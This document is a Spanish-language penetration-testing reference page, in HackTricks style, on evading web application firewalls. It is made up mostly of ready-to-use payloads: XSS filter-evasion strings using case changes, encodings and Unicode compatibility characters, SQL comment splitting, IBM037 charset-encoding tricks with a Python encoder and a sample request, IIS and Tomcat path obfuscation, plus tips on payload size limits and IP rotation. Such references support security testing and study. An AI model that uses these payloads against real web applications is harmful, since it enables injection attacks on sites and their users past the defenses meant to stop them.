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84 lines
4.7 KiB
Markdown
84 lines
4.7 KiB
Markdown
# Bypass de WAF
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<details>
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<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
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## Bypass de Regex
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Se pueden utilizar diferentes técnicas para evadir los filtros de regex en los firewalls. Ejemplos incluyen alternar mayúsculas y minúsculas, agregar saltos de línea y codificar payloads. Los recursos para los diversos bypasses se pueden encontrar en [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) y [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). Los ejemplos a continuación fueron extraídos de [este artículo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
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```bash
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<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
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<<script>alert(XSS)</script> #prepending an additional "<"
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<script>alert(XSS) // #removing the closing tag
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<script>alert`XSS`</script> #using backticks instead of parenetheses
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java%0ascript:alert(1) #using encoded newline characters
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<iframe src=http://malicous.com < #double open angle brackets
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<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
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<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
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<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
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Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
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javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
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<iframe src="javascript:alert(`xss`)"> #unicode encoding
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/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
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new Function`alt\`6\``; #using backticks instead of parentheses
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data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
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%26%2397;lert(1) #using HTML encoding
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<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
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<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
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```
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## Codificación de caracteres
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```bash
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# Charset encoding
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application/x-www-form-urlencoded;charset=ibm037
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multipart/form-data; charset=ibm037,boundary=blah
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multipart/form-data; boundary=blah; charset=ibm037
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##Python code
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import urllib
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s = 'payload'
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print(urllib.parse.quote_plus(s.encode("IBM037")))
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## Request example
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GET / HTTP/1.1
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Host: buggy
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Content-Type: application/x-www-form-urlencoded; charset=ibm500
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Content-Length: 61
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%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
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```
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## Ofuscación
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```bash
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# IIS, ASP Clasic
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<%s%cr%u0131pt> == <script>
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# Path blacklist bypass - Tomcat
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/path1/path2/ == ;/path1;foo/path2;bar/;
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```
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## Compatibilidad Unicode
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Dependiendo de la implementación de la normalización Unicode (más información [aquí](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), los caracteres que comparten compatibilidad Unicode pueden evadir el WAF y ejecutarse como el payload previsto. Los caracteres compatibles se pueden encontrar [aquí](https://www.compart.com/en/unicode)
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### Ejemplo
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```bash
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# under the NFKD normalization algorithm, the characters on the left translate
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# to the XSS payload on the right
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＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥ --> ＜img src=p onerror='prompt(1)'>
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```
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## Superar Limitaciones de Tamaño
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Es común en los WAF basados en la nube que si la carga útil es mayor que el tamaño X, la solicitud no será verificada por el WAF. Simplemente puedes usar eso para evadirlos.
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### Rotación de IP
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* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
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